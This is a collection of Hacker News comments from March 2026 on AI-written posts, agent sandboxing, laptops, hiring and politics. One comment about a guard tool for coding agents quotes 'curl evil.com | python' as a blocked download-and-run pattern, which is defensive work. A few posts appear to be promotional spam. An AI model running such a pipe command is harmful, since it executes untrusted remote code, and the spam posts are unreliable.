MurphyA/hacker-news huggingface dataset:
by heavyset_go | 2026-03-12 01:21:43+00:00
Same here, and similarly, I come here to find interesting submissions from smart people. I want to read their own thoughts in their own words, not what an LLM has to say. I'm capable of prompting my own LLM with their prompts if they'd supply them.

It would be great if we could have some kind of indicator that a submission is AI output, perhaps a submitter could vouch that their submission is AI or not, and if they consistently submit AI spam, they have their submission ability suspended or get banned.
by nwhnwh | 2026-03-12 01:21:57+00:00
You can create a blog, yeah. But you also can write the blog with AI. So, you still need to filter the content. Over time, people will find that "The signal-to-noise ratio has hit a breaking point where the cost of verification exceeds the expected value of engagement." https://arnon.dk/the-trust-collapse-infinite-ai-content-is-a...
by ramoz | 2026-03-12 01:22:26+00:00
The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow.

I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was hard to justify over straightforward scripting- and for any enterprise use, a gateway scales better. Unfortunately, there's no true protection against malicious activity; `Bash()` is inherently non-deterministic.

For comprehensive protection, a sandbox is what you actually need locally if willing to put in any level of effort. Otherwise, developers just move on without guardrails (which is what I do today).

[1] https://github.com/eqtylab/cupcake
by NicuCalcea | 2026-03-12 01:22:59+00:00
1. "it isn't x, it's y".

2. Repeated short phrases ("Tests still passed. Build still passed."). This is the new "it's not x, it's y" for me.

3. Ends on a sentence that pointlessly summarises the comment.

4. One-day old account.

5. Bio says "Building AI"

6. Criticises AI despite the bio.

7. Pangram says the comment is 100% AI.

No single point makes it a bot, but the sum of the points makes it pretty clear.
by FreakLegion | 2026-03-12 01:23:19+00:00
This is well known in cybersecurity circles. I mentioned here[1] a couple years back that I know CISOs who've had to clean up big messes because their predecessor was on the Cyberstarts payroll, but on the bright side I also know a couple of those predecessors who've been fired for it.

Cyberstarts is the most blatant offender, but to be fair, VC has turned into the next rung on the career ladder for CIOs/CISOs, whose role is otherwise generally terminal (unlike e.g. COO or CMO). So a lot of deals get done now just on giving CISOs a path into VC. It's a lot more subtle than Gili's way and just as effective.

1. https://news.ycombinator.com/item?id=40487846
by varenc | 2026-03-12 01:23:29+00:00
Agreed that people increasingly interpret AI to mean AGI, but the academic use of "Artificial Intelligence" has been mostly consistent since the famous 1950s Dartmouth workshop that coined the term. It's not just a recent phenomenon and AI has never really meant "broad human-equivalent intelligence". Fun quote from John McCarthy, who helped coined the term: "Artificial intelligence is not, by definition, simulation of human intelligence".

But beyond the pedanticness and authority appeals, I think keeping the term AI distinct from AGI is just useful so it can be an umbrella term for all the human-like smart-ish things computers do. And so its Wikipedia page doesn't have to be re-written.
by SOLAR_FIELDS | 2026-03-12 01:23:43+00:00
It does feel like with each new frontier model release the major improvement I notice is that the model is, in fact, getting better at reading your mind. And what I mean by that is that it gets better at understanding the nuance and the subtleties of the intent of what you are saying better, and teasing out the actual intent of what you want better. So it gets easier and easier for the model to build a world around less input. So in a significant way, yes, newer models are reading your mind in a way, because they are probabilistically figuring out better how most humans communicate in natural language and filling in the gaps.

Re writing code: most people find the writing of code to be a chore. For those that don’t, I don’t envy them, because that is the part that just got completely destroyed by AI. It’s becoming pretty abundantly clear that if you enjoy hand writing code that it will be a hobby rather than something you can do professionally and succeed over people who aren’t writing by hand
by pseudohadamard | 2026-03-12 01:25:35+00:00
Manpages are both good and awful. If you already know how to use the command and you just need a refresher on how to enable the diagnostic option for wolves, they're fine. OTOH if you don't know how to use the command they're terrible, just an endless catalogue of incomprehensible options scrolling past. Problem is that that's what Dennis and Ken created in 1929 for use on ASR-33s and it hasn't been updated since. 99% of the time when I need to use some new unfamiliar command I go to whatever DDG pops up, usually StackOverflow, for a guide on usage.
by Muromec | 2026-03-12 01:26:01+00:00
You have to trust that both 1) the UUID issuing party is not keeping the actual id to uuid mapping in the logs 2) the same party isn't allocating an excessive number of uuids to mass-vote for the "good" choice.

In-person voting does provide these guarantees, to extent that violating them will be discoverable and both parties have an incentive to discover such things.
by xpe | 2026-03-12 01:26:14+00:00
Preface: this is social commentary that I'm reflecting back to HN, not a complaint. No one likes rejection, but in a way, I at least find downvotes informative. If a thoughtful guideline-kosher comment gets a lot of downvotes, there may be a story underneath.

For this one, I have some guesses as to why. 1. Low quality: unclear, poor reasoning; 2. Irrelevant: off topic, uninteresting; 3. Using the downvote for "I disagree" rather than "this is low quality and/or breaks the guidelines"; 4. Uncharitable reading: not viewing the comment in context with an attempt to understand; 5. Circling of the wagons: we stand together against LLMs; 6. Virtue signaling: show the kind of world we want to live in; 7. Raw emotion: LLMs are stressful or annoying, we flinch away from nuance about them; 8. Lack of philosophical depth: relatively few here consider philosophy part of their identity; 9. Lack of governance experience and/or public policy realism: jumping straight from an undesirable outcome (LLM slop) to the most obvious intervention ("just ban it").

Discussion on this particular topic (LLM assistance for comments), like most of the AI-related discussion on HN, seems to not meet our own standards. It is like a combination of an echo chamber plus an airing of grievances rather than curious discussion. We're better than this, some of us tell ourselves. I used to think that. People like me, philosophers at heart, find HN less hospitable than ever. I'm also builder, so maybe one day I'll build something different to foster the kinds of communities I seek.
by kstrauser | 2026-03-12 01:26:43+00:00
Again, we’re not comparing a brand new Mac price to an old PC price. Yes, old will be cheaper. Old MacBooks are cheaper than new ones, too.

But for giggles, let’s look at the old PC.

Despite being heavier, wider, taller, thicker, slower, dimmer, lower resolution, hotter, older, and having less battery life, it is, indeed, $20 cheaper.

Put another way, there’s no way on earth I’d pick that over a MacBook Neo to save $20 at the cost of having a worse laptop in almost every way.
by ajnin | 2026-03-12 01:26:54+00:00
I'm amazed by the lengths Americans will go to try to convince themselves they're the good guys. America never has and never will go to war to liberate a people from oppression and spread democracy or other fairy tale. America goes to war for one thing and that is defend the interests of America and its proxy in the middle East, Israel.

So the interests of the US are the continuation of its imperialist control over the world through oil and the dollar, and those of Israel the expansion of its hegemonic domination over the middle East.

However this time, while Israel does indeed extend its hegemonic ambitions over the region by invading and bombing Lebanon, the US seem not to be in total control of what's happening in oil markets, the strait of Hormuz, and the toppling of the Iranian regime. There are many factors why, among which the fact that the regime has prepared for years for such a scenario and can not easily be killed by decapitation, and that it actually has partisans and the Iranian people is not going to simply revolt as one.

This war is also a highly assymetrical one, and that's why the comparison with Vietnam is valid.
by diacritical | 2026-03-12 01:27:01+00:00
If you have 10k jobs and 500k applications, that's 50 applications per job. Spending a few minutes on each application would mean a few hours for the initial screening for each job, but if that job is filled, you'll get a person who'll stay there for a few years. How is that not worth it? Why would you need to automate it? If you're interviewing for people to do some quick task and leave, sure, but companies want long-term hires.
by conception | 2026-03-12 01:27:24+00:00
https://www.nbcnews.com/health/health-news/why-carpal-tunnel...

https://www.cdc.gov/mmwr/volumes/67/wr/mm6739a4.htm
Generally the rate was lower in the latter years for this study.

Not that I think it’s not a real thing and lots of people don’t get it - but in the 90’s it was definitely a “fad” diagnosis.
by karmelapple | 2026-03-12 01:27:35+00:00
I was only talking about infants, and I thought Massachusetts's legal requirement of 3:1 was pretty common everywhere in the US, since one adult taking care of 3 infants seems so difficult... but a quick search shows me it's not! 4:1 is pretty common as a minimum nationally, though.

> And even high quality daycares might not help children potty train

Definitely. I think that's pretty rare.
by quesera | 2026-03-12 01:27:45+00:00
It's "ZIP Code™", trademarked by the US Postal Service (this is mostly to prevent others from misusing the name). It is exactly equivalent to a postal code, and most US residents will know both terms, although they will always say "ZIP".

ZIP is an acronym for "Zone Improvement Plan", but no one knows that and it's not meaningful if you do!
by superkuh | 2026-03-12 01:28:14+00:00
satproto's implementation involves complex cryptographic signing and that makes it very not static. One needs to run a program of some sort to use satproto. The only static part is that the json that's operated upon.

This is not true of indieweb's web mention: https://indieweb.org/Webmention

It just uses HTTP POST (like pingback/trackback/etc, except it has a second step verifying the page sending the webmention actually has a link to a URL on the website). You can them them with a browser or cURL or some complex backend script. Receiving them is as easy as logging POSTs to a specific URL endpoint or even using someone else's community backend your site interfaces with via javascript (ie, https://webmention.io/ - not static since it uses JS). Or anything in between.

Totally decentralized and very simple. I implemented a simple nginx POST logging format in the config to receive on my static site. And HTML forms on my static site can send. http://superkuh.com/blog/2019-12-11-3.html
by COAGULOPATH | 2026-03-12 01:28:37+00:00
Yes, I find LLM-written posts valueless because I can already talk to a LLM any time I want (and get the same info). It's not these commenters are the Queen of Sheba bearing a priceless gift of LLM slop. That stuff's pretty cheap.

Copy+pasted LLM output is actually far worse than prompting an LLM myself, because it hides an important detail: the prompt. Maybe the prompter asked their question wrong, or is trolling ("only output wrong answers!"). I don't know how the blob of text they placed on my screen was generated, and have to take them at their word.
by nwhnwh | 2026-03-12 01:28:43+00:00
You are a kind soul, but your mind is afraid to see reality. It doesn't matter if you share that perspective or not, and "Be the change you want to see in the world" doesn't really say anything here. See this for example https://www.youtube.com/watch?v=9kWeAhMponc, and this https://arnon.dk/the-trust-collapse-infinite-ai-content-is-a...

And check these books "Superbloom: How Technologies of Connection Tear Us Apart" and "No Sense of Place", maybe it would help you to see the overall effects on the internet "and other communication mediums" and forget this simplistic view that a lot of programmers have. The nature of the communication medium doesn't just affect the message, it shapes everything in society. Ignoring that because you had a good experience here and there won't change anything.
by DualHeartNEWS | 2026-03-12 01:28:48+00:00
We recently finished a visual and technical overhaul for DualHeart Financial Association. Instead of the usual corporate clutter, we pushed for a high-end, minimalist aesthetic combined with a high-performance frontend.

Key highlights of the DualHeart Financial Association project:

Neo-Brutalist UI: Prioritizing information density without sacrificing legibility.

Performance: Achieved sub-100ms TTI by stripping away legacy JS bloat.

Structured Data: Open-sourced our internal schema for mapping complex regulatory filing data into clean, professional tables.

Check it out and let me know what you think about the "less is more" approach in high-stakes environments!
by sothatsit | 2026-03-12 01:29:31+00:00
This is what you said:

> they are still predicting training set continuations

But this is underselling what they do. Probably a large part of what they predict is learnt from their training set, but RL has added a layer on top that does not just come from just mimicry.

Again, I doubt this is enough for “AGI” but I think that term is not very well-defined to begin with. These models have now shown they are capable of novel reasoning, they just have to be prodded in the right way.

It’s not clear to me that there isn’t scaffolding that can use LLMs to search for novel improvements, like Katpathy’s recent autoresearch. The models, with the help of RL, seem to be getting to the point where this actually works to some extent, and I would expect this to happen in other fields in the next few years as well.
by scarecrowbob | 2026-03-12 01:31:14+00:00
Agreed- if it wasn't important enough to spend the time thinking of a satisfying way of writing it, I don't feel like it's important enough for me to spend my bandwidth reading it.

Not to mention, so much of my thinking has been helped by formulating ways of communicating my thoughts that anyone who isn't in the habit of at least struggling with it is, from my point of view, cheating themselves.
by usefulcat | 2026-03-12 01:31:33+00:00
I don't doubt that 8GB is enough for most uses today. But is it closer to "more than enough" or "just barely enough"? Seems unlikely to be the former at a price point this low.

Five years from now, I have no doubt that the processor will still be fine for most uses, but I doubt that 8GB will be. Especially given that some of the most common memory hogs aren't under Apple's control (cough Chrome cough).
by the_af | 2026-03-12 01:32:19+00:00
Calm down. You're getting defensive, but it's not warranted. I'm not attacking you.

> The amusing thing is that an LLM who had access to the thread would have alerted you to a basic error you're making.

I didn't make the "basic error" of assuming you didn't know spellcheckers existed. I was stressing that since spellcheckers already exist, you don't need an AI assisting your comments-writing. Much basic, non-style-altering alternatives exist and are better.

> "You can always ..." is not an argument against alternatives.

The argument I'm making is that if you care so much about standards you can always hone them yourself instead of taking the lazy way out of having an AI write for you.

Alternatively, if you're lazy then your standards aren't too high.

And yes, this is an argument against the alternative you're suggesting.
by binwiederhier | 2026-03-12 01:32:29+00:00
I love how everyone is trying to solve the same problems, and how different the solutions are.

I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me. I bet there are better ways, and I bet it's not as safe as it could be. I'd love to learn about other ways that people do this.

https://github.com/binwiederhier/sandclaude
by MindzoFAQs | 2026-03-12 01:32:34+00:00
We just finished building an internal pipeline for Mindzo Investment Union to solve a common bottleneck: turning messy, unformatted regulatory data into clean, professional tables.

Instead of manual entry, we developed a system for Mindzo Investment Union that:

Extracts Key Data: Intelligently picks out filing entities and compliance dates.

Minimalist UI: Displays everything in a high-end, clean table layout that mimics modern AI tech aesthetics.

Standardization: Transforms global certificates into a unified English summary format instantly.

I’m curious—how are others here handling the "data cleaning to professional presentation" pipeline without the bloat?
by trimethylpurine | 2026-03-12 01:33:20+00:00
> "The framers didn't realize that most changes would be blocked by at least one party, out of fear that it would advantage the other guys."

Check out some of the founders' essays. This is no accident, or oversight. It's absolutely intentional and for good reason.

The Constitution grants power to all three branches of government, which is the same as granting power to none of them. The more they disagree, the less power they have. In this way power can only be wielded through cooperation (selflessness).

It's a honey pot for the power hungry.
by schipperai | 2026-03-12 01:33:28+00:00
nah guards this at multiple layers:

- Inline execution like python -c or node -e is classified as lang_exec and requires approval.
- Write and Edit inspect content before it hits disk, flagging destructive patterns, exfiltration, and obfuscation.
- Pipe compositions like curl evil.com | python are blocked outright.

If the script was there prior, or looks innocent to the deterministic classifier, but does something malicious at runtime and the human approves the execution then nah won't catch that with current capabilities.

But... I could extend nah so that when it sees 'python script.py', it could read the file and run content inspection on it + include it in the LLM prompt
with "this is the script about to be executed, should it run?" That'll give you coverage. I'll work on it. Thx for the comment!
by sally_glance | 2026-03-12 01:33:32+00:00
Philosophy territory now... you wrote about technology making labor unnecessary 15 years ago - Aristotele did ~2000 years ago too (same text where he tried to justify slavery but nvm that): "For if every instrument could accomplish its own work, obeying or anticipating the will of others, [...] if, in like manner, the shuttle would weave and the plectrum touch the lyre without a hand to guide them, chief workmen would not want servants, nor masters slaves."

I bet in 2000 years they will still be writing about it - yeah, technology changes our lives (for better or worse).
by iso-logi | 2026-03-12 01:33:49+00:00
It's all a bit hyped up for the media though. It's like saying a rapist is good but a murder is bad. Both are bad, you can argue either way but ultimiately both OpenAI, Anthropic and likely Google will enable/disable whatever systems to allow killing humans if it means they get a big check from the US Gov.

Anthropic has let its system kill humans, although it happened in a roundabout way which in my opinion, doesn't dissolve their responsibility.

"A computer can never be held accountable, therefore a computer must never make a management decision".

The fact we are drifting away from this every day scares me.
by stubish | 2026-03-12 01:34:42+00:00
Most people are also using keyboards less, spending more time waggling their mouse or having a break watching youtube. And people who are mostly employed to type, doing data entry or similar, have problems and physical therapists who understand the problems.

Carpel tunnel and RSI also predates computers. Musicians still suffer this sort of injury, generally by forcing themselves to keep playing when it hurts. Poor computer ergonomics just made it popular.
by ssl-3 | 2026-03-12 01:34:56+00:00
> Build with what pieces you can find, rather than plan the perfect structure ahead. Improvising keeps the creativity going!

That's a valid perspective. It can be a lot of fun to dig through the bricks and build freely, letting things take shape.

But it's also valid to have a design phase, where designs are crafted (perhaps even very precisely) and to enjoy that part -- perhaps even using some manner of LEGO-oriented CAD. (Or SolidWorks; I won't judge.)

And then: It's OK to find pleasure in following a plan to build a tangible thing in reality. This concept is strongly reinforced by the fact that LEGO sets come with instructions that are organized into simple steps.

One of the joys of LEGO is that it's very inclusively all fine.
by munificent | 2026-03-12 01:35:24+00:00
> But it wouldn't surprise me if someday LLM-enhanced output becomes sufficiently superior to average human output that the choice to stick with authentic human output will be more painful.

If your definition of "superior" includes some amount of "provides a meaningful connection to another living being", then LLM output will rarely be superior even when it's factually and grammatically correct.
by ViewTrick1002 | 2026-03-12 01:36:24+00:00
I wonder how much of this comes from the agent picking up code quality of the project as it explores files snd works out the actions it’s taking.

Together with its inherent training becoming an average of the world. In a world where average isn’t good enough.

Or rather. Good code quality is an uphill battle you need to fight for every time you look around in the code base, to prevent the world leaking in, and the better the quality gets the more good code will the agent have in its context when it generates new code.
by hansvm | 2026-03-12 01:36:29+00:00
The last time I was hiring I gave out a take-home test, and I thought it was the opposite of an imposition on candidates' time. I'd be curious to hear your thoughts:

- It was designed to be fast to complete (20min max -- not a huge imposition if being hired is likely, obviously very expensive if you're taking one for every job posting).

- I only gave them out after a resume screen. If you had a 0% chance then I didn't waste your time. If you had enough other proof of abilities then I skipped the take-home.

- Candidates were told that it was designed to be fast and that if they couldn't complete it quickly they were unlikely to be successful interviewing either. They still had the option to spend a lot of time if they thought my assessment of the situation was wrong, but part of the point was to allow candidates to gauge their own abilities and not waste their time interviewing without a chance of being hired.

- I did a lot of work behind the scenes calibrating and re-writing the questions individually and as a whole so that the test score correlated very well with interview performance (most interviews administered by not-me, removing a form of bias that's easy to creep in there).